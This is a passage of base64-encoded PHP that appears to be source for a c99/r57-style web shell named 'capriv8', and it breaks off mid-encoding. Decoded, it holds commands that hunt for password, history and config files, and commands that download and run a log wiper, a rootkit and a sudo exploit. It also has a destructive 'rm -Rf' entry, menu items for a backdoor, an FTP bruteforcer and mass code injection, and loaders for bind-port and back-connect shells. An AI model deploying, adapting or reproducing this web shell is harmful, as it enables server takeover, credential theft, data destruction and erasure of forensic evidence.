SI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAgICAiaW5pIj0+YXJyYXkoImluaSIsImluZiIsImNvbmYiKSwNCiAgICAiY29kZSI9PmFycmF5KCJwaHAiLCJwaHRtbCIsInBocDMiLCJwaHA0IiwiaW5jIiwidGNsIiwiaCIsImMiLCJjcHAiLCJweSIsImNnaSIsInBsIiksDQogICAgImltZyI9PmFycmF5KCJnaWYiLCJwbmciLCJqcGVnIiwiamZpZiIsImpwZyIsImpwZSIsImJtcCIsImljbyIsInRpZiIsInRpZmYiLCJhdmkiLCJtcGciLCJtcGVnIiksDQogICAgInNkYiI9PmFycmF5KCJzZGIiKSwNCiAgICAicGhwc2VzcyI9PmFycmF5KCJzZXNzIiksDQogICAgImRvd25sb2FkIj0+YXJyYXkoImV4ZSIsImNvbSIsInBpZiIsInNyYyIsImxuayIsInppcCIsInJhciIsImd6IiwidGFyIikNCik7DQokZXhlZnR5cGVzICA9IGFycmF5KA0KICAgIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPXJlZD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ3okIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC50YXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC56aXAkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5yYXIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5waHAzJCIsMSwiPGZvbnQgY29sb3I9IzAwRkYwMD4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucGhwNCQiLDEsIjxmb250IGNvbG9yPSMwMEZGMDA+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLA0KICAgIGFycmF5KCJcLmpwZWckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEckIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwNCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaWNvJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuZ2lmJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtJCIsMSwiPGZvbnQgY29sb3I9IzAwQ0NGRj4iLCI8L2ZvbnQ+IiksDQogICAgYXJyYXkoIlwuaHRtbCQiLDEsIjxmb250IGNvbG9yPSMwMENDRkY+IiwiPC9mb250PiIpLA0KCWFycmF5KCJpbmRleC5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQoJYXJyYXkoImNvbmZpZ3VyYXRpb24ucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KCWFycmF5KCJjb25maWcucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJzZXR0aW5ncy5waHAiLDEsJzxmb250IGNvbG9yPXJlZD4nLCc8L2ZvbnQ+JyksDQogICAgYXJyYXkoImNvbm5lY3QucGhwIiwxLCc8Zm9udCBjb2xvcj1yZWQ+JywnPC9mb250PicpLA0KICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpDQopOw0KaWYgKCEkd2luKSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJscyAtYWwiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwIiksDQogICAgYXJyYXkoIkZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksDQogICAgYXJyYXkoIkZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICAgIGFycmF5KCJGaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiKSwNCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogICAgYXJyYXkoIkZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogICAgYXJyYXkoIkxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgICBhcnJheSgiU2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3RlbiIpDQogICk7DQogICRjbWRhbGlhc2VzMiA9IGFycmF5KA0KICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksDQogICAgYXJyYXkoIkxhc3QgdG8gY29ubmVjdCIsImxhc3Rsb2ciKSwNCiAgICBhcnJheSgiRmluZCBTdWlkIGJpbnMiLCJmaW5kIC9iaW4gL3Vzci9iaW4gL3Vzci9sb2NhbC9iaW4gL3NiaW4gL3Vzci9zYmluIC91c3IvbG9jYWwvc2JpbiAtcGVybSAtNDAwMCAyPiAvZGV2L251bGwiKSwNCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLA0KICAgIGFycmF5KCJDYW4gd3JpdGUgaW4gL2V0Yy8/IiwiZmluZCAvZXRjLyAtdHlwZSBmIC1wZXJtIC1vK3cgMj4gL2Rldi9udWxsIiksDQogICAgYXJyYXkoIkRvd25sb2FkZXJzPyIsIndoaWNoIHdnZXQgY3VybCB3M20gbHlueCBmZXRjaCBsd3AtZG93bmxvYWQiKSwNCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksDQogICAgYXJyYXkoIklzIGdjYyBpbnN0YWxsZWQgPyIsImxvY2F0ZSBnY2MiKSwNCiAgICBhcnJheSgiRm9ybWF0IGJveCAoREFOR0VST1VTKSIsInJtIC1SZiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFdJUEVMT0dTIFBUMSIsIndnZXQgaHR0cDovL3d3dy5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL2xvZy13aXBlcnMvemFwMi5jIiksDQogICAgYXJyYXkoImdjYyBXSVBFTE9HUyBQVDIiLCJnY2MgemFwMi5jIC1vIHphcDIiKSwNCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLA0KICAgIGFycmF5KCItLS0tLSIsIiIpLA0KICAgIGFycmF5KCJ3Z2V0IFJhdEhvbGUgMS4yIChMaW51eCAmIEJTRCkiLCJ3Z2V0IGh0dHA6Ly9wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9VTklYL3BlbmV0cmF0aW9uL3Jvb3RraXRzL3JhdGhvbGUtMS4yLnRhci5neiIpLA0KICAgIGFycmF5KCJ3Z2V0IFN1ZG8gRXhwbG9pdCIsIndnZXQgaHR0cDovL3d3dy5zZWN1cml0eWZvY3VzLmNvbS9kYXRhL3Z1bG5lcmFiaWxpdGllcy9leHBsb2l0cy9zdWRvLWV4cGxvaXQuYyIpLA0KICApOw0KfQ0KZWxzZSB7DQogICRjbWRhbGlhc2VzID0gYXJyYXkoDQogICAgYXJyYXkoIiIsICJkaXIiKSwNCiAgICBhcnJheSgiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiLCAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIpLA0KICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksDQogICAgYXJyYXkoIkZpbmQgcjU3c2hlbGwgaW4gY3VycmVudCBkaXIiLCAiZmluZCAvYyBcInI1N1wiICoiKSwNCiAgICBhcnJheSgiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiLCAibmV0c3RhdCAtYW4iKSwNCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLA0KICAgIGFycmF5KCJVc2VyIGFjY291bnRzIiwgIm5ldCB1c2VyIiksDQogICAgYXJyYXkoIlNob3cgY29tcHV0ZXJzIiwgIm5ldCB2aWV3IiksDQoJYXJyYXkoIlN5c3RlbWluZm8iLCJzeXN0ZW1pbmZvIikgDQogICAgKTsNCn0NCiRwaHBmc2FsaWFzZXMgPSBhcnJheSgNCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwNCiAgICBhcnJheSgiV3JpdGUgRmlsZSAoUEhQNSkiLCAid3JpdGUiKSwgDQogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLA0KICAgIGFycmF5KCJSZW5hbWUvTW92ZSIsICJyZW5hbWUiKSwNCiAgICBhcnJheSgiRGVsZXRlIiwgImRlbGV0ZSIpLA0KICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksDQogICAgYXJyYXkoIi0tLS0tIiwgIiIpLA0KICAgIGFycmF5KCJEb3dubG9hZCIsICJkb3dubG9hZCIpLA0KICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksDQogICAgYXJyYXkoIkNoYW5nZSBQZXJtICgwNzU1KSIsICJjaG1vZCIpLA0KICAgIGFycmF5KCJGaW5kIFdyaXRhYmxlIERpciIsICJmd3JpdGFibGVkaXIiKSwNCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwNCik7DQoNCiRxdWlja2xhdW5jaDIgPSBhcnJheSgNCglhcnJheSgiW0hvbWVdIiwkc3VybC4iPWltZyZpbWc9aG9tZSIpLA0KICAgIGFycmF5KCJbRW51bWVyYXRlXSIsJGVudW1lcmF0ZSksDQoJYXJyYXkoIltTZWFyY2hdIiwkc3VybC4ieD1zZWFyY2giKSwNCiAgICBhcnJheSgiW1NlbGYtS2lsbF0iLCRzdXJsLiJ4PXNlbGZyZW1vdmUiKSwNCiAgICBhcnJheSgiW0Fib3V0XSIsJHN1cmwuIng9YWJvdXQiKQ0KKTsNCiRxdWlja2xhdW5jaDEgPSBhcnJheSgNCglhcnJheSgiW0ZUUCBCdXRlZm9yY2VyXSIsJHN1cmwuIng9ZnRwcXVpY2ticnV0ZSIpLA0KICAgIGFycmF5KCJbU2VjdXJpdHkgSW5mb10iLCRzdXJsLiJ4PXNlY3VyaXR5JmQ9JWQiKSwNCiAgICBhcnJheSgiW1Byb2Nlc3Nlc10iLCRzdXJsLiJ4PXByb2Nlc3NlcyZkPSVkIiksDQogICAgYXJyYXkoIltNeVNRTF0iLCRzdXJsLiJ4PXNxbCZkPSVkIiksDQogICAgYXJyYXkoIltQSFAtQ29kZV0iLCRzdXJsLiJ4PWV2YWwmZD0lZCIpLA0KICAgIGFycmF5KCJbRW5jb2Rlcl0iLCRzdXJsLiJ4PWVuY29kZXImZD0lZCIpLA0KCWFycmF5KCJbQmFja2Rvb3JdIiwkc3VybC4ieD1zaGJkIikNCik7DQokcXVpY2tsYXVuY2gzID0gYXJyYXkoDQoJYXJyYXkoIltQSFAtVG9vbHNdIiwkc3VybC4ieD1waHB0b29scyIpLA0KCWFycmF5KCJbQ3BhbmVsIEZpbmRlcl0iLCRzdXJsLiJ4PWNwYW5lbCIpLA0KICAgIGFycmF5KCdbSW5zdGFsbCBJUDpQb3J0IFByb3h5XScsJHN1cmwuJ3g9cHJveHknKSwNCglhcnJheSgiW0luc3RhbGwgUEhQIFByb3h5XSIsJHN1cmwuIng9cGhwcHJveHkiKSwNCglhcnJheSgiW0luc3RhbGwgUkZJL0xGSSBTY2FubmVyXSIsJHN1cmwuIng9ZmkiKSwNCglhcnJheSgiW01hc3MgQ29kZSBJbmplY3Rpb25dIiwkc3VybC4ieD1tYXNzYnJvd3NlcnNwbG9pdCIpLA0KCWFycmF5KCJbRmluZCBXUiBkaXJgc10iLCRzdXJsLiJ4PWZpbmR3ciIpDQopOw0KDQoNCiRoaWdobGlnaHRfYmFja2dyb3VuZCA9ICIjMDAwMDAwIjsNCiRoaWdobGlnaHRfYmcgPSAid2hpdGUiOw0KJGhpZ2hsaWdodF9jb21tZW50ID0gIiNDQ0NDQ0MiOw0KJGhpZ2hsaWdodF9kZWZhdWx0ID0gIm9yYW5nZSI7DQokaGlnaGxpZ2h0X2h0bWwgPSAibGlnaHRibHVlIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICJsaW1lIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gInJlZCI7DQoNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFVRVNUWyJjYXByaXY4Y29vayJdKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCiR0bXAgPSBhcnJheSgpOw0KZm9yZWFjaCAoJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7ICR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpOyB9DQokcyA9ICIhXigiLmltcGxvZGUoInwiLCR0bXApLiIpJCFpIjsNCmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7DQogIGV4aXQoIjxhIGhyZWY9XCIkc2hfbWFpbnVybFwiPiRzaF9uYW1lPC9hPjogQWNjZXNzIERlbmllZCAtIFlvdXIgaG9zdCAoIi5nZXRlbnYoIlJFTU9URV9BRERSIikuIikgbm90IGFsbG93ZWQiKTsNCn0NCmlmICghZW1wdHkoJGxvZ2luKSkgew0KICBpZiAoZW1wdHkoJG1kNV9wYXNzKSkgeyRtZDVfcGFzcyA9IG1kNSgkcGFzcyk7fQ0KICBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKSB7DQogICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJHNoX25hbWUuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICAgIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICAgIGV4aXQoJGFjY2Vzc2RlbmllZG1lc3MpOw0KICB9DQp9DQppZiAoJHggIT0gImltZyIpIHsNCiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOw0KICBjaGRpcigkY3VyZGlyKTsNCiAgaWYgKCRzZWxmd3JpdGUpIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICBjYXByaXY4X2dldHVwZGF0ZSgkc2VsZndyaXRlLDEpOw0KICAgIGV4aXQ7DQogIH0NCiAgJHNlc3NfZGF0YSA9IHVuc2VyaWFsaXplKCRfQ09PS0lFWyIkc2Vzc19jb29raWUiXSk7DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQ0KICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImN1dCJdKSkgeyRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXkoKTt9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYWdldHNvdXJjZSIpKSB7DQogICAgZnVuY3Rpb24gY2FnZXRzb3VyY2UoJGZuKSB7DQogICAgICBnbG9iYWwgJGNhcHJpdjhfc291cmNlc3VybDsNCiAgICAgICRhcnJheSA9IGFycmF5KA0KICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5wbCIgPT4gImNhcHJpdjhfYmluZHBvcnRfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmluZHBvcnQuYyIgPT4gImNhcHJpdjhfYmluZHBvcnRfYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9iYWNrY29ubi5wbCIgPT4gImNhcHJpdjhfYmFja2Nvbm5fcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4uYyIgPT4gImNhcHJpdjhfYmFja2Nvbm5fYy50eHQiLA0KICAgICAgICAiY2Fwcml2OF9kYXRhcGlwZS5wbCIgPT4gImNhcHJpdjhfZGF0YXBpcGVfcGwudHh0IiwNCiAgICAgICAgImNhcHJpdjhfZGF0YXBpcGUuYyIgPT4gImNhcHJpdjhfZGF0YXBpcGVfYy50eHQiLA0KICAgICAgKTsNCiAgICAgICRuYW1lID0gJGFycmF5WyRmbl07DQogICAgICBpZiAoJG5hbWUpIHtyZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJGNhcHJpdjhfc291cmNlc3VybC4kbmFtZSk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhX2J1ZmZfcHJlcGFyZSIpKSB7DQogICAgZnVuY3Rpb24gY2FfYnVmZl9wcmVwYXJlKCkgew0KICAgICAgZ2xvYmFsICRzZXNzX2RhdGE7DQogICAgICBnbG9iYWwgJHg7DQogICAgICBmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjb3B5Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQ0KICAgICAgZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgICRzZXNzX2RhdGFbImN1dCJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImN1dCJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOw0KICAgICAgaWYgKCR4ICE9ICJjb3B5Iikge2ZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImNvcHkiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdKTsgfX19DQogICAgICBlbHNlIHtmb3JlYWNoKCRzZXNzX2RhdGFbImNvcHkiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY3V0Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY3V0Il1bJGtdKTt9fX0NCiAgICB9DQogIH0NCiAgY2FfYnVmZl9wcmVwYXJlKCk7DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9zZXNzX3B1dCIpKSB7DQogICAgZnVuY3Rpb24gY2Ffc2Vzc19wdXQoJGRhdGEpIHsNCiAgICAgIGdsb2JhbCAkc2Vzc19jb29raWU7DQogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsNCiAgICAgIGNhX2J1ZmZfcHJlcGFyZSgpOw0KICAgICAgJHNlc3NfZGF0YSA9ICRkYXRhOw0KICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOw0KICAgICAgc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQogICAgfQ0KICB9DQogIGZvcmVhY2ggKGFycmF5KCJzb3J0Iiwic3FsX3NvcnQiKSBhcyAkdikgew0KICAgIGlmICghZW1wdHkoJF9HRVRbJHZdKSkgeyQkdiA9ICRfR0VUWyR2XTt9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQ0KICB9DQogIGlmICgkc29ydF9zYXZlKSB7DQogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9DQogICAgaWYgKCFlbXB0eSgkc3FsX3NvcnQpKSB7c2V0Y29va2llKCJzcWxfc29ydCIsJHNxbF9zb3J0KTt9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsNCiAgICBmdW5jdGlvbiBzdHIybWluaSgkY29udGVudCwkbGVuKSB7DQogICAgICBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pIHsNCiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7DQogICAgICAgIHJldHVybiBzdWJzdHIoJGNvbnRlbnQsIDAsJGxlbikuIi4uLiIuc3Vic3RyKCRjb250ZW50LC0kbGVuKTsNCiAgICAgIH0gZWxzZSB7cmV0dXJuICRjb250ZW50O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKSB7DQogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7DQogICAgICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQ0KICAgICAgZWxzZSB7DQogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICAgICAgICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICAgICAgICByZXR1cm4gJHNpemU7DQogICAgICB9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19jb3B5X2RpciIpKSB7DQogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsNCiAgICAgICRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsNCiAgICAgIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICRoID0gb3BlbmRpcigkZCk7DQogICAgICB3aGlsZSAoKCRvID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkgew0KICAgICAgICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkgew0KICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICAgICAgICAgZWxzZSB7JHJldCA9IG1rZGlyKCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pOyBmc19jb3B5X2RpcigkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX2NvcHlfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoIWlzX2RpcihkaXJuYW1lKCR0KSkpIHtta2RpcihkaXJuYW1lKCR0KSk7fQ0KICAgICAgaWYgKGlzX2RpcigkZCkpIHsNCiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVR